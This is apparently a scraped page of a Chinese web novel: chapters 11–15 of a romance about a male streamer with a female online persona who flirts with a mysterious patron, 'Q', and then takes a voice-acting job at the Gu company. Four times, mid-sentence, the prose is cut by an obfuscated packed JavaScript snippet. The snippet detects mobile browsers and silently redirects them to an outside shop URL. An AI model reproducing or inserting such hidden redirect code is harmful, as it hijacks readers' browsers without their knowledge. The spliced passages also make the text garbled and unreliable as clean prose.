抬头看向镜子,景眠圆鼓鼓的眼睛瞪着自己:你可是直男!!你怎么能垂涎一个男人的身材?! 那是不是Q先生本人还未可知,重点是他们是同性!有哪个直男会对着同性的好身材嘶哈嘶哈?这正常吗?? 景眠坐到沙发上缓了一会儿,看看时间,该开播了。 他拿起手机,视线刻意避开老Q的那张照片,快速回了条消息:【哥哥,直播间见。】 发完,景眠就去准备直播了。 等到了零点,他准时坐在了电脑前。 “哈喽,大家晚上好呀!” 甜甜的少女音一经响起,直播间瞬间滚动起无数条弹幕。 景眠照例先和粉丝开启闲聊环节,今晚不读私信,直接连麦。 “今天咱们玩点不一样的。”指尖轻点鼠标切换画面,景眠声音含笑地说:“连麦随机抽,三分钟速聊,聊完就换,刺激吧?” 【啊啊啊!!是深夜福利!!】 【老婆真的宠粉,深夜玩这个太刺激了】 【天呢!我已经开始嫉妒被抽到的人了。】 【姐姐抽我抽我,我有好多话想对你说】 【我愿用我一年的好运换今晚被小荔酱抽到!】 【我买刮刮乐都没中过奖,一定抽不到我的。】 看着满屏的“求翻牌”,景眠忍不住笑出声,“好啦好啦,我知道大家都很热情,不过因为时间很短,只有三分钟,所以希望大家尽量问些真正让你困惑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928159|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,别把宝贵的时间,都用来跟我说喜欢啦~” 说完,景眠对着镜头比了一个心,“你们的爱我都收到啦~不过,我更想知道,你们今天过得开心吗?有没有什么烦心事?或者……遇到什么奇奇怪怪的人?都可以和我分享哦~” 【哇啊啊啊!老婆今天是恋爱脑特供版吗?】 【老婆快开始吧!我已经迫不及待了!】 【小荔酱,我今天表白被拒了,现在好难受……】 看到一条低落的弹幕从眼前飘过,景眠指尖轻点了下屏幕,将弹幕拉回来,“这位ID名叫‘可颂配柠檬’的姐妹,别难过呀!被拒了就大哭一场,或者来我直播间听会儿歌,想听什么可以告诉我。要知道,拒绝你的人,是错过了一个全世界最好的你,下一个,说不定就是命中注定呢!” 【呜呜呜谢谢小荔酱!我感觉好多了!】 【可以点一首《遇见》吗?】 “当然可以。”景眠立刻应下,说:“我们今晚的结束曲目就是《遇见》哦!” 完完全全把“宠粉”二字刻进了骨子里。 言归正传,景眠抽了第一位连麦的粉丝,是个男生,而他一上来就问了景眠非常劲爆的问题。 “小荔酱,我有个玩得很好的朋友,他对我特别好,有什么好吃的好玩的都会和我分享,在我摔倒的时候还会背我去医务室,最近我发现自己对他产生了不一样的感觉……我好像有点儿喜欢他,这是正常的吗?” 男生支支吾吾,含糊其辞,显然是不太好意思说出口。 能听出他正紧紧攥着手机,指节发白,耳根发烫。 弹幕已然炸锅: 【!!!这是要出柜的节奏吗?】 【兄弟好勇!我当年都不敢承认……】 【啊啊啊支持你!喜欢同性不是罪!】 【小荔酱快开导他!这孩子明显纠结好久了】 景眠指尖骤然收紧,用力攥住鼠标,指节泛白,手背上的青筋微微凸起。 他要怎么回答这个问题? 就在今晚,他还对着一个男人的喉结照犯了花痴,也察觉到自己有点儿不太正常…… 正一头雾水,怎么去开导人家? 但直播还在进行,没那么多时间让景眠思考,他只能将自己的想法讲给对方听,“喜欢一个人,不分性别,不分身份,只关乎心动,你没有做错什么,也不需要为此感到羞耻。” 男生那边沉默了几秒,似乎被这句话击中了内心最柔软的地方,声音微微发颤道:“可是……我怕别人知道,怕朋友疏远我,也怕……他知道了会尴尬。” “这种害怕,我懂。”景眠轻轻点头,其实他大学时也经历过这种状况,只不过是被表白的一方。 “我觉得你首先要确定的是对方的取向问题,再考虑下一步,毕竟这是没有办法勉强的。”景眠语气温和却不失力量。 “他……他没谈过恋爱,也没说过自己喜欢谁,我也不知道他的取向,总不能直接问吧?” “嗯,这样就好办多了。”景眠的语气俏皮了一点,“或许,他在暗恋着你,也说不定哦!” 12.第12章 下播已是深夜两点半。 今晚Q先生没出现,连直播间里的粉丝都觉得奇怪。 景眠躺下后想问问他,却又一下联想到自己看到那张喉结照时的反应,决定还是蒙起被子睡觉吧。 可是就在他把手机屏幕朝下扣在枕边,准备进入梦乡时,手机突然震动了一下。 景眠犹豫了一秒,还是鬼使神差地把它拿了回来。 屏幕亮起,内容简短,却像带着电流,瞬间击穿了他的困意。 【喜欢吗?】 莫名其妙的三个字,让景眠的心底产生疑惑。 他在问什么? 不会是……问他喜不喜欢他吧? omg…… 景眠下意识的反应是:对面难道是个gay? 结果下一秒,理智回笼——在老Q眼里,自己可是个娇滴滴的女主播啊。 脑袋都困成浆糊了。 揉揉眼睛,景眠靠在床头上,打着哈欠回复:【哥哥问我喜欢什么?】 【照片】 对面言简意赅地回复。 景眠眨巴着眼睛,这才想起自己还没对他的照片作出评价。 当时急着开播,只对他说了一句“直播间见”,难不成这个骄傲的男人不高兴啦? 应该没那么小气吧。 景眠忽然觉得有点儿可爱,忍不住轻笑出声,指尖在屏幕上轻轻敲击:【原来哥哥在等着我夸你啊?】 【没有】对面飞速反驳。 【真的吗?】 【我准备了一肚子的夸奖,既然哥哥没有,我说还是不说呢?】 【……】 对话框上方显示“对方正在输入”,停顿了好一会儿,两个字才慢吞吞地跳出来。 【随你】 景眠看着屏幕,眼前仿佛浮现出男人别扭又傲娇的表情。 明明心里急得冒烟,嘴上还要死撑。 网络果然是虚幻的,他并不确定那张喉结照是不是Q先生本人,可脑子里已经自动代入。 一个初识高冷神秘的男人,相处下来发现骨子里其实很傲娇。 好有反差萌哦! 景眠不再逗他了,指尖飞快地敲下一行字,还附带了一个坏笑的表情包:【哥哥的照片拍得可太带感了,身材那么好,要是去当模特,绝对能迷倒万千少女。】 发完这一大段,景眠自己都觉得肉麻得起了鸡皮疙瘩,但他能感觉到,指尖下的手机似乎都变得滚烫起来。 屏幕那头沉默了许久,久到景眠以为这人是不是被夸得不好意思,直接下线睡觉了。 就在他以为对话要终结时,手机又震了一下。 【万千少女也包括你吗?】 猝不及防地看到这句,景眠的心跳瞬间漏了半拍。 他后知后觉明白过来,这哪里是在问照片喜不喜欢,分明是在问人啊! 握着手机,脸颊微微发烫,景眠脑子里那团浆糊彻底凝固了。 窗外的晚风卷着夜色撞在玻璃上,发出窸窣的声响,衬得房间里愈发安静,安静到能清晰听见自己擂鼓般的心跳声。 房间里昏暗深沉,而手机屏幕的光,映出了慌乱的眼眸。 景眠啃着指节,不敢想对面的男人是认真的,还是在跟他调情。 他内心当然希望是后者,毕竟他只是一个虚拟出来的少女形象,现实中并不存在。 景眠很久没回,不知道怎么回。 他怕说错一句话,就会打破两人之间微妙的平衡。 对面大概以为他睡着了,十分钟后发来一句:【晚安】 看到这条消息,景眠像是拿到了特赦令,猛地松了一大口气,胸口那块悬了半天的石头终于落地,整个人瘫软进了枕头里。 眼下除了装睡,真没有别的办法了,脑袋乱糟糟的,什么都捋不清。 放下手机,景眠翻来覆去了很久都没睡着。 一闭上眼,那张喉结照就会涌入脑海,连之前的腹肌照也跑出来捣乱。 莫名的,浑身燥热。 景眠坐起来,抓了抓头发。 靠!该不会他真的喜欢上男人了吧? 不然怎么会口干舌燥成这样? 可万一照片是假的,现实中的Q先生其实是个又矮又胖还秃顶的男人呢?他还喜欢吗? 所以,他单纯是被人类美好的身材迷惑了,无关男女。 拿起手机看时间,已经三点半。 指尖无意识地摩挲着手机边缘,屏幕早已暗下,可那句“万千少女也包括你吗”却像被刻在了视网膜上,怎么甩都甩不掉。 景眠越想越烦,一脚踢开缠在脚踝上,热得让人发慌的被子,掀开被角利落地下床。 “必须喝水,冷静一下。” 接了一大杯冷水灌下去,冰凉的液体滑过喉咙,景眠才终于压制住体内的无名火。 这次再回到床上躺下,倒是很快就进入了梦乡。 - 翌日。 晨光透过窗帘的缝隙悄然溜进房间,景眠半梦半醒之间,一股难以言喻的燥热从胸口蔓延至脸颊。 梦境如洪水猛兽般汹涌而至—— 昏黄的光晕下,男人的手指缓缓勾住他的下巴,指腹微烫,带着不容抗拒的温柔,“喜欢吗?” “好喜欢……”景眠轻颤着回应,嗓音软得像融化的蜜糖,眼波流转,目光落在那近在咫尺的喉结上,像是被什么蛊惑了心神,“哥哥……我可以咬一口吗?” “随你。”男人低语,声音沙哑,仿佛压抑着某种翻涌的情绪。 下一瞬,唇瓣便颤抖着贴了上去,带着试探与渴望,轻轻吸吮、缓慢舔舐,像是在品尝一道禁忌的甜点。 男人的身体骤然绷紧,喉结剧烈地上下滚动,激起一阵阵难以自持的颤栗。 那处皮肤在唇齿间渐渐泛红,被裹挟、被亲吻得变了颜色,旖旎无限。 男人低喘着,五指猛然扣住他的后脑勺,指节深深陷入发间,仿佛要将他更深地按向自己,“轻点,宝贝……” 声音破碎,带着隐忍的欲念,在寂静中轻轻回荡。 景眠像是着了魔,舌尖在他颈侧游移了一圈,随后,牙齿带着几分狠劲儿,重重地咬了下去…… 景眠就在此刻猛地惊醒,睁眼直直望着天花板,呼吸急促,额角沁出细汗。 梦中那真实的触感、喉结在齿间颤动的轮廓、还有那声压抑的闷哼……一幕幕在脑中回放,清晰得令人发指。 羞耻感如潮水般涌上心头,他低低呜咽一声,迅速将脸深深埋进被子里,连耳朵都红透了。 做春梦也就算了,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931777|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦到了男人。 呜呜呜难道他不是纯血直男吗? 缓了好一会儿,景眠坐起来,才发觉裤子都有点儿湿了。 他迅速下床,从柜子翻出换洗的衣物,灰溜溜地进了洗手间。 再出来已经是半个小时后,经过镜子前,景眠看着自己白花花的两条腿,有点儿后悔。 昨晚睡前他就应该拍张照发过去,怎么能让对面睡得那么安稳踏实?就他一个人乱了心神。 盘腿坐在床边,景眠拿起手机,回复昨晚的消息。 【哎呀哥哥怎么会这样问】 【谁会不喜欢性感的身材呢?】 果然,昨晚还是太困了。 这有什么难为情的,满嘴跑火车不就行了呗。 猜到这个点,老Q可能还没醒,景眠肚子饿了,想去找点吃的。 结果发现,冰箱里只剩下半袋吐司,还有两个鸡蛋。 吐司还过期了三天。 未免有点儿太心酸了。 换上衣服,景眠准备去超市采购。 临出门时,Q先生回了消息。 【你早上吃什么?】 没有追问昨晚是否在回避,不再延续暧昧的话题,仿佛一切从未发生。 景眠如实相告:【粮库告急,出门采买。】 顿了顿,又补了一句:【吐司过期了三天,唯有鸡蛋还在待命。】 【外面下雨了,带把伞】 景眠下意识扭头朝窗外看了眼,还真淅沥沥下起了小雨,他怎么知道的? 【你不会在我家安监控了吧?】 景眠幽默地问完,从置物架上拿下一把折叠伞。 【IP地址】 【我也在盛城】 雨伞掉落在地。 伞骨磕在地板上发出清脆的响声,惊得景眠后脊瞬间窜上一丝凉意。 他蹲下身去捡,指尖带着点不受控的轻颤,看着盛城两个字,景眠的心底没来由地涌上一阵恐慌。 他和Q先生竟然在同一座城市? 当初点进他主页,景眠自然留意过IP,可他的上面显示的却是未知。 这么说来,Q先生一直都知道他们俩同城? 同城意味着什么?意味着他伪装的身份,随时都有被戳穿的风险。 喉咙发紧,好半天,景眠才敲出一行字,语气里带着自己都没察觉的紧张。 【原来我们同城呀,之前怎么从没听哥哥说过呢】 消息发出去的瞬间,景眠就后悔了。 这话问得太过刻意,像在质问,又像在试探,全然没了昨晚逗弄对方时的从容。 手机震动两下,打断了胡思乱想。 【之前没聊到这个话题】 【我要开车了】 还好,他及时终止了聊天。 景眠靠在门上,后背惊出一身冷汗。 他总觉得对方发来的第二条消息,是看出了他的慌乱。 没再多想,景眠推门而出。 来到楼下时,细雨如丝,他撑开伞,仰头拍了张照片。 【报告,人家有带伞哦~】 为了掩饰不自在,景眠又学着从前俏皮的口吻:【哥哥请集中注意力开车,不要想我~】 对面,简单而直接: 【做不到】 13.第13章 Q先生每次的回复都简短有力,引起暧昧的遐想。 景眠没想好怎么回,把手机揣进口袋。 同一座城市偶遇的概率,应该只有千万分之一的渺茫,可他仍然觉得心慌,很怕在下一个拐角会不小心碰到。 尽管,他逛的是平民超市,老Q也没可能认出他生活中的这副模样。 穿着最不起眼的T恤衫,头发凌乱,素面朝天。 路过镜子,看到自己,景眠都不由嫌弃地皱眉。 从超市出来时,雨已经停了。 到家后,将食物塞进冰箱上层,景眠开了电脑,准备打会端游分散一下注意力,顺便捋清思路。 ——接下来该怎么和老Q相处? 以他的直觉来看,这个城府颇深的男人正在一步步渗透和推进,告诉他两人同城就是个很明显的信号,有意和他“奔现”。 景眠对这事儿倒是不排斥,他们俩聊了一段时间,说不好奇那是假的,可问题是……他是男的啊!! 瞒得了一时,瞒得了……脱裤子上床吗? 莫名联想到这儿,景眠的脸烧红了。 再这么发展下去太危险。 有可能他会像香蕉一样越来越弯。 脑海中浮现出他站在窗前被男人顶的画面,景眠浑身激灵了下。 平日里,他连gay片都不看,怎么会联想到这个? 就算……就算他是弯的,也一定是后面的那个,怎么可能被人顶? 甩了甩脑袋,景眠专注玩游戏了。 这一玩就是三个小时,直到肚子发出“咕噜”的响声,实在扛不住了,他才关了机。 景眠拿起手机,想搜菜谱看做点什么,却看到未读的消息。 【为什么不回我?】 景眠盯着这行字,指尖先一步僵住,心头那点好不容易压下去的燥热,又顺着尾椎骨悄悄往上窜。 他居然把老Q的消息忘得一干二净。 喉结滚了滚,景眠慌忙打字,还特意翻出小荔酱常用的软萌表情包来圆场:【抱歉呀哥哥,刚到家就忙着收拾东西,一转头就给忘了~】 发完,景眠越看越觉得这解释太没说服力,怎么可能好几个小时都忘记回消息? 怕老Q不爽,又补了一句:【买了好多东西呢,提得手都酸啦~】 末尾,还加了个委屈巴巴的小猫脸。 盯着对话框里的“对方正在输入”,景眠的心跳跟着那行字一起悬了起来。 方才游戏里厮杀的利落劲儿半点不剩,此刻只剩满心的忐忑。 他怕被追问,更怕对面再说出什么让他招架不住的暧昧话。 没等多久,消息便跳了出来,没有质问,只有一句简单的关心:【吃饭了吗?】 【还没呢,现在准备去做饭】 【好】 只有这一个字,再无下文。 景眠转了转眼珠,猜测Q先生应当是察觉到他的敷衍,那么骄傲的男人,应该无法忍受自己被冷落。 果然,事实验证了景眠的猜测。 接下来的两天,Q先生没有主动发消息过来,而景眠也刻意地不去联系他。 失去一位壕气的榜一大哥固然可惜,但比起给自己在现实中引来不必要的麻烦,他宁愿舍弃。 说他胆小也好,怯弱也罢,反正他只想安安稳稳地生活。 不过,财神爷最近似乎很眷顾他。 景眠意外收到一家知名广告公司的合作邀约—— “我们非常喜欢小荔酱的声音,想邀请您为一款新游戏的宣传片配音。” 邮件写得极为诚恳,还附上了初步脚本和试音要求。 联络人表示,若效果理想,甚至可能成为游戏角色的常驻配音,达成长期合作。 对方诚意十足,报价也远超预期。 景眠看着邮件,眸中的兴奋不言而喻。 双方在线上简单沟通后,一拍即合,定在周六上午碰面,如果合作能够顺利推进,周日就可以进录音棚。 转眼就到了周六。 景眠特意订了八点的闹钟起床。 她在家打扮了很久,毕竟这是第一次以“小荔酱”的身份出门,当然要重视。 戴上栗棕色的长发,景眠仔细地用卷发棒打理出自然的弧度,再将两侧的头发轻轻扎成双马尾,用粉色蝴蝶结固定,之后换上一条蓬松的蛋糕裙,层层叠叠的薄纱裙摆是淡粉色的,缀着细小的珍珠装饰,活脱脱从二次元里走出来的甜心少女。 为此,景眠还搭配了白色过膝袜和小皮鞋,连指甲都没放过,涂上了透明的果冻色甲油。 临出门前,景眠对着镜子最后确认了一遍,将口罩戴好,边缘有凯蒂猫的图案,既符合“小荔酱”的甜美风格,又能严实地遮住下半张脸。 之前电话沟通时,他有告诉合作方,说自己直播时从未露过脸,现实生活中也想维持这个习惯,希望不要介意。 对方友好回应:“完全理解,保护隐私很重要,我们更期待你的声音表现。” 碰面的地点在那家广告公司的楼下咖啡厅,景眠也是来到这里才发现,和顾氏集团的大楼紧挨着。 想到顾衍上次没礼貌地摘掉他的眼镜,景眠还是很生气。 这次,就算偶然碰到,他也不可能认出他了吧? 景眠推门走进咖啡厅,风铃轻响,咖啡的香气裹着凉意扑面而来。 没想到对接人来得更早,靠窗的位置上,一个扎着高马尾的女孩大概通过打扮认出了“她”,笑容明亮地挥手打招呼:“嗨!” 出乎意料的是,对方竟如此年轻,眉眼清亮,穿着简约却有设计感的米色针织衫,整个人透着一股干净的朝气。 景眠紧绷的神经不由得松了几分,心底那块沉甸甸的石头悄然落地,脚步也轻快了些。 他故作矜持地走近,像真正少女般微微颔首,优雅落座,指尖轻轻抚平裙摆的褶皱,才捏着嗓子,用软糯声线笑道:“你好呀,我是小荔酱~” “你好,我是珍妮。”女孩灿烂一笑,“你也可以叫我珍珍。” 景眠早已习惯这样的伪装,此前便多次以女装形象出入漫展现场,早已练就一身从容。 两人简单寒暄几句,珍妮叫来服务生,问想要喝些什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938722|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,景眠要了一杯橙汁。 几句热聊下来,距离感悄然消融。 期间,珍妮的目光始终带着欣赏落在“小荔酱”身上,毫不掩饰地赞叹:“你真的太甜了,声音、气质、连动作都好可爱……这简直就是我梦想成为的样子。” 她说这话时眼神发亮,像是在看一个活生生的偶像。 景眠微微一怔,指尖不着痕迹地攥紧了裙角。 原以为,自己只是在扮演一个角色,可此刻,被这样真挚地仰望,竟生出一丝恍惚。 好像“小荔酱”不再只是他虚构的面具,而成了某种正在被现实托起的存在。 不知不觉,十多分钟过去,终于奔入正题。 珍妮笑着递过一份装订整齐的脚本,指尖轻快地敲了敲封面,“小荔酱你的声音甜得恰到好处,我们整个团队都超喜欢!这份是最终版脚本,你先看看,有哪里觉得不合适的都可以跟我提。” 景眠翻开文件,上面标注的配音情绪和台词节奏都很细致,和他之前试音时的预想契合度极高,眉眼间不自觉染上几分真切的欢喜,声线更软了些,“好细致呀,看着就很用心呢。” 珍妮见他满意,笑得更爽朗,“主要是你的声线太贴我们的游戏主题了,软萌又有韧劲,简直是天选!” 她顿了顿,又说:“先喝点东西润润嗓子,等下咱们简单对几句台词,要是没问题,周日就直接进棚,棚子我们都跟顾氏那边协调好了,用的是他们那边最好的录音室。” “顾氏?”景眠握着杯子的手猛地一紧。 怎么会是顾氏?一想到顾衍那张玩世不恭的脸,还有上次被摘掉眼镜时的窘迫,景眠的心里就莫名发紧,连带着声线都飘了点,“是旁边这个顾氏集团吗?” “对呀,这款游戏就是顾氏旗下子公司研发的,”珍妮点点头,没察觉到异样。 景眠心里“咯噔”一下,只觉头皮发麻。 可转念一想,这不过是子公司的一个配音项目,规模不大,流程也由外包团队主导,顾衍那样的大少爷,怎么可能亲自过问?他甚至都不知道“小荔酱”是谁,更不会出现在录音棚那种地方。 而彼时的另一端,顾衍和秦洛白正在高尔夫球场,与来自国外的“深海”团队谈合作。 秦洛白不知被谁给惹毛了,最近脸黑得吓人,本就不爱笑,今日更是眉头紧锁,周身罩着一层低气压,连路过的小风都绕着他走。 以往他的球技便像开了挂,今日更是一击必中,球杆轻扬,动作稳准狠,举手投足间尽是游刃有余的霸气。 顾衍不敢问,估摸着是被哪位姑娘伤了心。 秦洛白坐下喝水时,他拧着瓶盖假装无意地从他身后晃过去,忘了上次的教训,还想偷窥点八卦。 这次,还真被他眼尖地注意到,秦洛白反复几次进了微信,点开了同一个聊天对话框。 内容看不清,但顶端的三个字好像是什么——小荔酱? 这不很显然就是个女孩的网名? 果然有情况。 顾衍的眼底闪过一抹促狭,唇角得意上扬。 总算被我给逮到了。 14.第14章 景眠鸽了两天直播,将时间全用来筹备配音。 周日上午,他打车来到顾氏集团。 高耸入云的大楼气派得晃眼,玻璃幕墙映着湛蓝的天,门口的保安站姿笔挺。 景眠跟着珍妮发来的指引,找到侧门的专用通道,报了项目名称后顺利进入。 录音棚设在大楼的三层西侧,推门进去时,珍妮已经在等了,身边还站着两位录音师,设备调试得一应俱全。 “小荔酱来啦!”珍妮笑着迎上来,递过一瓶温水,“快润润嗓子,设备刚调好,咱们试录一段就可以正式开始了。” 景眠接过水,轻声道谢,目光飞快扫过整个录音棚。 空间宽敞,隔音效果极好,角落里堆着专业的收音设备,正前方的隔音玻璃后,是监控台。 “等会儿你录音,只有自己在里面,保证不会被任何人打扰。”珍妮先给景眠打了一针镇定剂。 景眠是真的很感谢她,一直都是那么的友善,并没有因为她是个网络主播,或是新人的身份,就对他冷眼相待。 进去录音棚,景眠坐到收音麦前的椅子上,指尖轻轻抚过脚本,先试了一下音。 等再次开口时,他很快进入状态,清甜的声线裹着恰到好处的情绪,从初见的娇怯,到后来的坚韧,台词念得流畅又自然,专业能力一流,完全没有卡壳。 景眠表现得完全不像新人,声线与角色高度贴合,不过一个多小时,已经完成了大半内容。 珍妮进来送水,竖起大拇指,连连夸赞。 景眠不好意思地笑笑,说:“我争取在下午一点前搞定。” “不用这么着急的,等会儿先去吃个午饭吧?”珍妮俏皮地眨眨眼,“你爱吃什么菜?我去订餐。” “不用麻烦了,我还不饿的。” “客气什么?这本来就是包含在内的,不吃白不吃。”珍妮小声说。 景眠见人家态度这般真诚,便不再推拒,“给我订个清淡点的就行,辣的我怕伤嗓子。” “没问题。”珍妮比了个‘ok’的手势,推门出去了。 只是没想到,她前脚刚回办公室准备电话订餐,后脚顾总就来了。 一看到帅哥,珍妮就忍不住犯花痴。 顾总穿着骚包的红色西装,真真像是从小说里走出来的那种风流倜傥的公子哥。 公司里上上下下的女同事,没一个不对他冒桃心的。 珍妮躲在暗处,小心翼翼偷瞄着人家,忽然听到顾衍问:“新的那间录音棚谁在用?” 珍妮立刻站出来说:“顾总,我们在为新游戏的宣传片进行配音,里面正在录音的是一位网络主播,她的声音非常符合游戏风格,也是策划部从万千声音中好不容易选到的。” 顾衍不感兴趣地“哦”了声,“带我过去看看。” 此刻,他并未把那什么网络主播当回事,阔步流星地走向了录音棚。 走过去一瞧,窗帘居然拉着。 顾衍皱眉,“哪家的主播,这么大牌?” “顾总,不是耍大牌。”珍妮连忙解释,“人家在网上一直没露过脸,生活中也不想暴露自己,录音的时候没办法戴口罩,所以就……” “真稀奇,我们顾氏这么大的集团,找不到别的配音演员?” 顾衍不屑一顾地嗤笑,走向调音台前的一位工作人员,拍了拍他的肩膀。 对方立刻摘下耳机,递给顾衍。 这位是专业的录音师,负责和里面的配音演员进行实时沟通,纠正发音、咬字等问题。 顾衍漫不经心地扣上耳机,指尖随意点了点调音台的按键,一道软糯清甜的嗓音,透过耳机滤去杂尘,清晰地传进了耳朵里: “……纵使前路无光,我也要撕开一道口子。” 顾衍本是带着挑刺的心思,想听听这藏着掖着的主播,到底有几分真本事,可入耳的声线,娇而不弱,甜中藏韧,情绪转折精准如刀锋,尾音微颤时像羽毛扫过心尖,坚定处又如钟鸣回荡。 “倒是有点东西。”顾衍扯下耳机,随手丢还给录音师,语气里的不屑淡了些,却依旧带着几分散漫的傲气,“但也没必要这么金贵,不过是配个音,藏得跟什么机密似的。” 鄙夷完,他随后问珍妮,“叫什么名字?” “小荔酱。” 珍妮话一出,顾衍的表情倏然定住。 他还以为自己听错了,不敢相信地再次确认一遍,“叫什么?” “小荔酱,大小的小,荔枝的荔,酱就是二次元里的称呼。”珍妮详细解释。 没错,还真是小荔酱,连字都对上了。 回想到昨天在秦洛白微信上看到的名字,顾衍饶有兴致地勾起唇。 重名的可能性应该不大吧? 秦洛白看上去那么正经的一个人,私下里竟然结识女主播? 他原本只是顺路过来瞧瞧新录音棚的设备调试,倒没想到撞上个这么惊喜的意外。 “录多久了?”顾衍忽然问,指尖依旧漫不经心地敲着台面,节奏慢了些。 “一个多小时,进度特别快,小荔酱特别专业,完全没卡壳,估计下午一点前就能收尾。”珍妮回答。 顾衍抬手看了眼腕表,金色的表盘衬得手腕线条利落,语气轻描淡写道:“我在隔壁会议室等个人,等她录完,让她过来一趟。” 珍妮一愣,连忙点头:“好的顾总,我等会儿就跟她说。” 望着顾衍离开的背影,珍妮心里暗自诧异。 顾总怎么会特意要见一个配音的主播,难不成是觉得小荔酱的声音好,想签进公司? - 顺利录完,景眠揉了揉酸胀的脖子,摘下耳麦,收拾好桌上的脚本,走出了隔音棚。 珍妮正在等他,脸上带着点不自然的笑,景眠正要觉得奇怪,她凑过来轻声道:“那个……小荔酱,顾总在隔壁会议室等你,想跟你聊两句。” 珍妮刻意等到录完才说,以免人家听完以后紧张,影响状态。 “你说什么?”景眠吓得面色惨白,“顾总?” “对。” 珍妮刚一点头,就看见景眠的双手捂住腹部,满脸痛苦地说:“其实我肚子刚刚就疼得厉害,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943765|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了不耽误进度,没好意思说……” “啊!”珍妮连忙扶住他的胳膊,“是不是生理期要到了?” “……对。”景眠顺势点头,为难地皱眉,“麻烦您替我向顾总转告一声。” “人之常情,顾总应该能理解的。”珍妮同情地看着小荔酱,问:“需要我扶你下去吗?” “不用了。”景眠摇摇头,“我自己就可以。” “那好吧。”珍妮交代要多喝热水,只扶到了电梯门口。 景眠进了电梯以后,紧绷的神经才彻底放松下来。 这个顾衍竟然想见他,为毛啊? 难道是看过他的直播? 一想到,景眠的后背便惊出冷汗。 而彼时,珍妮已经进了会议室,转告了顾衍,说小荔酱身体不适,先回去了。 顾衍听完,摸了摸下巴,心想这做主播的竟然会躲着不见他,真有点儿奇怪。 在会议室等的这段时间里,他下载了小荔酱所在的直播平台的软件,摸进了他的首页,并看到他粉丝团里有位贡献值破亿的榜一大哥,ID为一个单字母:Q. 顾衍几乎瞬间联想到Q是秦的首字母大写。 他指尖在屏幕上轻轻一划,点进那位“Q”的主页,页面简洁得近乎冷峻,没有头像,没有动态,只有冰冷的贡献记录和一个孤零零的在线时长统计——近五十个小时,几乎覆盖了小荔酱最近每场直播的时段。 可以说,这个账号就是为小荔酱而注册的。 其他主播根本懒得看,由此也懒得经营主页,打赏的钱并非为了给自己挣多少面子,只为博红颜一笑。 不得了,这也太像秦洛白的行事风格了,他从来都是这样孤注一掷,喜欢什么都特别专一。 顾衍回过神问珍妮有没有对方的个人资料,珍妮摇摇头,说:“我们只是和对方约了个很小的商单,未达成长期合作,没有签正式合约,对方是网络主播,自然不会轻易暴露现实中的真实身份。” 也对。 顾衍没再多问。 他对那小荔酱是谁并不感兴趣,重要的是这个人能够拿捏住秦洛白就好。 谁不想看“高岭之花为爱折腰”的剧情呢? 想到,顾衍直接点进了兄弟群,以谈公事为由,约他们晚上出来喝酒。 如果不以此为借口,秦洛白恐怕很难约得出来。 - 华灯初上。 暮色将整座城市晕染成暖橘色,霓虹次第亮起,缀在鳞次栉比的楼宇间,将夜空映得亮如白昼。 顾衍和夏睿泽一块来到他们常去的酒吧,藏在老巷深处,青石板路铺地,白墙黛瓦间是潺潺流动的溪水,倒比闹市区多了几分清静雅致。 两人坐下喝了会儿,秦洛白才到。 他看起来还是不太高兴,沉着张脸,进来后随手将西装外套搭在椅背上。 顾衍这人藏不住事,有什么话憋在心里恨不得赶紧讲,秦洛白一来,他便装作无意地开口对夏睿泽说:“我最近爱上看直播了,女主播身材好,嗓音又甜,还会哄人,比找个女朋友强多了。” 15.第15章 “哟。”夏明睿双手环胸看着顾衍,“那你给人家打赏了吗?” “我可没那么大方。”顾衍说得果断,“又不是自己女朋友,干嘛给她花那么多钱?” 顾衍这话,摆明了是在旁敲侧击地点秦洛白呢。 是谁不光看女主播,还给人家打赏呢? 秦洛白在低头倒酒,原本垂着的眼睫轻轻抬了抬,清冷的眼底掠过一丝极淡的波澜,快得让人抓不住。 “让你说得我都有点好奇了,那女主播ID是啥?我也去瞧瞧。” 顾衍就等着夏明睿这话呢。 